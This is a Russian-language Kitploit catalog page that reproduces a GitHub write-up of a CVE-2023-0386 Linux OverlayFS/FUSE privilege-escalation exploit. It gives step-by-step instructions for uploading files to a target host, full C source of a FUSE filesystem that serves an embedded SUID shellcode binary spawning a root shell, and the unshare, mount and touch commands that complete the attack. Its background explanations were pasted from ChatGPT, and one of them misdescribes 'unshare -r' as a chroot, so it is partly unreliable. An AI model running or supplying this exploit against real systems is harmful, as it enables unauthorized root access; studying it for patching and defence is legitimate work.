Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-0386 — 非常简单的CVE-2023-0386's exp and analysis.Use c and sh. | Kitploit
Инструменты/GitHubGitHub/fanxiaoyao66/cve-2023-0386
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationContainer EscapeBinary Exploitation
GitHubfanxiaoyao66/cve-2023-0386

CVE-2023-0386

非常简单的CVE-2023-0386's exp and analysis.Use c and sh.

Репозиторий
2243 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

typora-copy-images-to: ./image

CVE-2023-0386

Использование эксплойта:

Первое: Загрузите fuse.c и exp.sh в каталог /tmp.

  • Вы можете использовать scp или python3 -m http.server для загрузки файла на цель.

    root@kitploit:~
    scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp 
    scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp # ваша машина
    

    или

    root@kitploit:~
    cd ~/Desktop/CVE-2023-0386
    python3 -m http.server # ваша машина
    
    root@kitploit:~
    wget your_ip:8000/exp.sh
    wget your_ip:8000/fuse.c # цель
    

Затем:

root@kitploit:~
cd /tmp
/bin/bash exp.sh

Теперь вы root!

image-20230628154304898

Ниже приведён подробный анализ CVE-2023-0386.


Вчера целый день разбирался с этой уязвимостью. Если кратко, то OverlayFS при копировании файла из нижнего слоя в верхний не проверяет, отображён ли пользователь пространства имён нижнего слоя в текущее пространство имён пользователя, что позволяет установить SUID и повысить привилегии.

Звучит абстрактно. Чтобы понять проблему, нужно знать несколько вещей:

  • Что такое OverlayFS?
  • Что такое FUSE?
  • Что такое пользовательское пространство имён?
  • Почему происходит повышение привилегий?

Что такое OverlayFS?

ChatGPT: Подробно расскажи об OverlayFS в Linux.

OverlayFS, также известная как Overlay-файловая система, является объединённой файловой системой в ядре Linux. Она позволяет накладывать друг на друга несколько разных файловых систем, образуя единое унифицированное представление. Она была официально принята в ядро начиная с версии Linux 3.18.

OverlayFS имеет три основные компонента: нижняя файловая система (lower filesystem), верхняя файловая система (upper filesystem) и объединённая файловая система (merged filesystem). Их функции:

  1. Нижняя файловая система (lower filesystem): Базовый слой, обычно доступный только для чтения. Все файлы и каталоги изначально берутся из этого слоя.

  2. Верхняя файловая система (upper filesystem): Верхний слой, обычно доступный для записи. Когда мы выполняем операции записи в файловую систему, все изменения сохраняются в этом слое. Если файл существует в нижнем слое, но мы хотим его изменить, то в верхнем слое создаётся его копия, которая затем изменяется. Этот процесс называется «copy-up».

  3. Объединённая файловая система (merged filesystem): Это конечное представление OverlayFS, которое объединяет нижний и верхний слои. При чтении OverlayFS сначала ищет файл в верхнем слое; если не находит, то ищет в нижнем.

Логическая структура выглядит так:

root@kitploit:~
     ________________
    |                |
    |  Merged View   |
    |________________|
       /          \
____________    ____________
|          |    |          |
|  Lower   |    |  Upper   |
| (read-only)|  | (read-write)|
|____________|  |____________|

Важное применение OverlayFS — в контейнерных приложениях, особенно в Docker. В Docker каждый слой образа доступен только для чтения и может использоваться как нижняя файловая система для других контейнеров. При запуске нового контейнера Docker создаёт для него новую пустую верхнюю файловую систему. Таким образом, все изменения в контейнере (например, установка нового ПО) влияют только на верхнюю файловую систему, не затрагивая общие слои образов.

Кроме того, поскольку OverlayFS позволяет монтировать несколько нижних файловых систем под одним верхним слоем, можно создавать многослойные файловые системы, что широко используется в Docker при работе со слоями образов.


Если подвести итог: нижний слой только для чтения, верхний — для чтения и записи, объединённый слой объединяет оба и показывает единое представление. Когда мы в объединённом слое изменяем файл, который существует в нижнем слое, но отсутствует в верхнем, нижний файл копируется «как есть» в верхний слой для изменения. Это и есть момент срабатывания уязвимости.

Что такое FUSE?

GPT: Ты эксперт по ядру Linux. Теперь подробно объясни, что такое FUSE.

FUSE (Filesystem in Userspace) — это механизм для создания файловых систем в пользовательском пространстве. Это интерфейс, предоставляемый ядром Linux, который позволяет разрабатывать и запускать собственные файловые системы без изменения кода ядра.

Основная цель FUSE — упростить разработку и использование новых файловых систем. С помощью FUSE вы можете создавать собственные файловые системы, не углубляясь в тонкости многих API ядра. Это полезно для отладки, быстрого прототипирования, научных исследований, реализации очень специфичных файловых систем (например, прозрачного шифрования, сетевых файловых систем) и т.д.

В FUSE большая часть логики файловой системы выполняется в пользовательском пространстве. Это упрощает разработку, поскольку пользовательское пространство предоставляет более удобную среду: вы можете использовать любой понравившийся язык программирования, у вас больше библиотек, проще обработка ошибок и т.д. С другой стороны, это означает, что файловые системы FUSE обычно медленнее, чем файловые системы в пространстве ядра, поскольку им приходится часто переключать контекст между пользовательским и ядерным пространствами.

Файловая система FUSE обычно состоит из двух частей:

  1. Демон пользовательского пространства, реализующий фактическую логику файловой системы.
  2. Модуль FUSE в пространстве ядра, который обрабатывает все файловые операции, пересылает их демону пользовательского пространства, а затем возвращает результат вызывающему.

При разработке файловой системы FUSE вам нужно реализовать ряд функций обратного вызова, соответствующих различным файловым операциям: открытие файла, чтение файла, запись файла и т.д. Когда эти операции происходят, модуль ядра FUSE вызывает соответствующие функции обратного вызова и возвращает результат вызывающему.

В целом, FUSE предоставляет мощную среду для реализации файловых систем в пользовательском пространстве, упрощает их разработку и позволяет расширять и модифицировать файловые системы модульным образом.


По сути, Fuse позволяет пользователю определить собственную файловую систему и файлы внутри неё.

Для этого нужно писать код на C, используя библиотеку FUSE.

Что такое пользовательское пространство имён?

Ты эксперт по ядру Linux. Что такое пользовательское пространство имён?

В Linux «пространства имён» (namespaces) — это механизм ядра, который позволяет изолировать представление процессов, так что процесс видит только ресурсы, принадлежащие тому же пространству имён. Каждый тип пространства имён соответствует определённому типу ресурсов. Например, пространство имён PID (Process ID) изолирует идентификаторы процессов, пространство имён Net — сетевые интерфейсы и стек, пространство имён Mount — точки монтирования файловых систем и т.д.

Пользовательское пространство имён (User Namespaces) — один из типов пространств имён Linux, предназначенный в первую очередь для изоляции идентификаторов пользователей и групп. Каждое пользовательское пространство имён имеет свой собственный набор идентификаторов пользователей и групп. Например, процесс в пространстве имён A может работать как root (UID 0), но в пространстве имён B этот же процесс может быть обычным пользователем.

Преимущество такого подхода в том, что даже если процесс обладает root-правами в своём пользовательском пространстве имён, он не может повлиять на ресурсы других пользовательских пространств имён, так как в них он может быть обычным пользователем. Это значительно повышает безопасность системы: даже если контейнер (который, по сути, представляет собой набор процессов, работающих в собственных пространствах имён) будет атакован, злоумышленник не сможет повлиять на хостовую систему или другие контейнеры.

Пользовательские пространства имён — одна из ключевых технологий контейнеров Linux (Docker, LXC и др.). Используя пользовательские пространства имён вместе с другими типами, контейнеры могут обеспечивать изоляцию, близкую к виртуализации, без необходимости в полноценной виртуализации.

В целом, пользовательское пространство имён — это механизм в Linux для изоляции идентификаторов пользователей и групп, который играет важную роль в повышении безопасности системы и контейнеров.

А что такое отображение пользовательского пространства имён?

В пользовательских пространствах имён Linux существует очень важная концепция: отображение пользовательского пространства имён. Это отображение определяет, как преобразуются идентификаторы пользователей и групп между различными пользовательскими пространствами имён. То есть процесс, который в своём пользовательском пространстве имён выглядит как root, в пространстве имён хоста или в другом пространстве имён может быть просто обычным непривилегированным пользователем.

Этот механизм устанавливается путём изменения файлов /proc/[pid]/uid_map и /proc/[pid]/gid_map, где [pid] — PID процесса. В этих файлах каждая строка представляет собой элемент отображения, состоящий из трёх полей: ID внутри пространства имён, ID снаружи пространства имён и диапазон ID. Например, "0 1000 1" означает, что ID 0 внутри пространства имён отображается на ID 1000 снаружи.

Например, процесс, работающий в пользовательском пространстве имён A, может иметь идентификатор пользователя 0 и выглядеть как root. Но если в отображении мы укажем, что 0 отображается на 1000, то для хостового пространства имён и других пользовательских пространств имён этот процесс будет иметь UID 1000, то есть будет обычным пользователем.

Таким образом, отображение пользовательских пространств имён позволяет процессу иметь полные права (например, root) в своём пользовательском пространстве имён, оставаясь обычным пользователем в других пространствах имён, что важно для изоляции и безопасности.

Почему происходит повышение привилегий?

Потому что файлы в нижней файловой системе находятся под полным контролем пользователя (создаются через FUSE), и можно определить любой файл, например, файл с SUID (однако для безопасности в FUSE есть ограничения по умолчанию. Одно из них: файловая система монтируется с опцией nosuid, то есть биты setuid и setgid в FUSE игнорируются, хотя игнорируются, но SUID-бит всё равно существует). Но мы можем через OverlayFS скопировать файл с SUID из системы с nosuid в верхний слой, который является обычной файловой системой; в результате нелегитимный SUID-файл получает реальные SUID-права, что и приводит к повышению привилегий.

Эксплуатация уязвимости

Сначала нужно создать несколько каталогов для построения OverlayFS.

root@kitploit:~
cd /tmp
mkdir fuse upper overlay workdir
  • fuse — каталог для пользовательской файловой системы, он же будет нижним слоем OverlayFS.
  • upper — верхний слой OverlayFS.
  • overlay — объединённый слой OverlayFS.
  • workdir — рабочий каталог OverlayFS.
  1. Создание файловой системы FUSE.

Приведённый ниже код FUSE я модифицировал на основе кода c-мастера. https://github.com/chenaotian/CVE-2023-0386

root@kitploit:~
#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";// в файловой системе FUSE есть файл hello, путь к нему
const char hello_str[] = {// бинарное содержимое SUID-бэкдора в файловой системе FUSE
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)// функция обратного вызова getattr для получения атрибутов файла или каталога
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {// права корневого каталога файловой системы FUSE: 0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {// права файла hello: 777 с SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); // фактический размер файла hello
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)// функция для получения содержимого каталога
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {// пока поддерживается только просмотр корневого каталога FUSE
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);// по умолчанию показываем . и ..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);// в корневом каталоге FUSE есть файл hello

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)// функция обратного вызова open для открытия файла
{
    puts("[+] open_callback");
    puts(path);
    if (strcmp(path, "hello") == 0)
    {
        int fd = open("", fi->flags);

        return -errno;
    }
    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)// функция обратного вызова read для чтения файла
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {// поддерживается только чтение файла hello
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);// возвращаем содержимое файла hello (бинарный массив выше)
    } else {
        size = 0;
    }

    return size;
}

static int ioctl_callback(const char *p, int cmd, void *arg,
                          struct fuse_file_info *fi, unsigned int flags, void *data)
{
    puts("[+] ioctl callback");
    printf("path %s\n", p);
    printf("cmd 0x%x\n", cmd);
    return 0;
}

static struct fuse_operations hellofs_oper = {// достаточно реализовать только четыре вышеперечисленные функции обратного вызова
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
    .ioctl = ioctl_callback
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);// регистрируем функции обратного вызова
}

Я добавил функцию ioctl_callback, чтобы позже можно было использовать touch, иначе возникнет ошибка «функция не реализована».

Передайте файл на цель через scp:

root@kitploit:~
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

image-20230628144623425

Компиляция:

root@kitploit:~
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
root@kitploit:~
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse  fuse  fuse.c  overlay  upper  workdir

Создание файловой системы FUSE:

root@kitploit:~
./efuse fuse

Видим, что в каталоге fuse появился файл hello, принадлежащий root и имеющий SUID:

image-20230628144906940

Поскольку сейчас в FUSE включён nosuid, выполнение этого файла не приведёт к повышению привилегий.

  1. После подготовки файловой системы FUSE следующим шагом создаём пользовательское пространство имён:
root@kitploit:~
unshare -Urm

unshare — это команда Linux, используемая для «отмены общего доступа» к пространствам имён определённого типа из текущего процесса оболочки. Это создаёт изолированную среду, похожую на виртуализацию, но без необходимости в полноценной операционной системе.

Параметры команды unshare -Urm:

  • -U — отмена общего доступа к пользовательскому пространству имён. Это заставляет новый процесс оболочки работать в своём собственном пользовательском пространстве имён, где все отображения пользователей и групп уникальны. Это означает, например, что хотя новый процесс оболочки может считать себя работающим как root, снаружи он может работать как другой непривилегированный пользователь.
  • -r — создание новой корневой директории (chroot), чтобы новый процесс оболочки не имел доступа к другим частям файловой системы. Это часто используется для создания изолированной среды, например, при компиляции программного обеспечения, чтобы оно не загрязняло остальную систему.
  • -m — отмена общего доступа к пространству имён монтирования. Это позволяет новому процессу оболочки изменять точки монтирования без влияния на другие процессы. Например, он может монтировать новые файловые системы или изменять атрибуты существующих точек монтирования, не затрагивая остальную часть системы.

В совокупности команда unshare -Urm создаёт новую изолированную среду со своими собственными пользователями, группами, точками монтирования и корневым каталогом, полностью изолированную от остальной системы.


  1. Создание файловой системы OverlayFS

Используя существующую файловую систему FUSE как нижний слой, каталог upper как верхний слой, а overlay как объединённый слой:

root@kitploit:~
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay

Теперь в объединённом слое появился файл hello:

image-20230628150045176

Нам нужно изменить файл hello, чтобы он скопировался в верхний слой. Это можно сделать командой touch.

Если выполнить touch для существующего файла, изменятся его временные метки; временные метки — это метаданные файла, и их изменение также вызовет копирование. (Если не добавить функцию обратного вызова ioctl_callback ранее, touch не сработает).


Команда touch в основном используется для изменения времени доступа и модификации файла, или, если файл не существует, для создания нового пустого файла. В большинстве случаев touch не вызывает функцию ioctl. Обычно он использует системные вызовы open, close, utimes или utimensat.

ioctl — очень универсальный системный вызов, используемый для операций, специфичных для устройств, или других операций, которые невозможно выразить стандартными системными вызовами. Например, он может использоваться для изменения настроек терминала или опроса состояния сетевого устройства. Однако команда touch в основном взаимодействует с файловой системой, а не с устройствами, поэтому обычно не требует ioctl.

Но это не означает, что ioctl никогда не вызывается, так как файловая система или драйвер устройства могут предоставлять специальные операции ioctl для определённых функций. Например, некоторые файловые системы могут поддерживать специальную операцию ioctl для изменения временных меток файла. Однако такие случаи крайне редки и не относятся к стандартному поведению команды touch.


Чётко видно, что после touch файла в upper появился hello.

image-20230628150319971

Затем выходим из пространства имён и выполняем upper/hello, чтобы успешно повысить привилегии.

image-20230628150907762

Скачать инструмент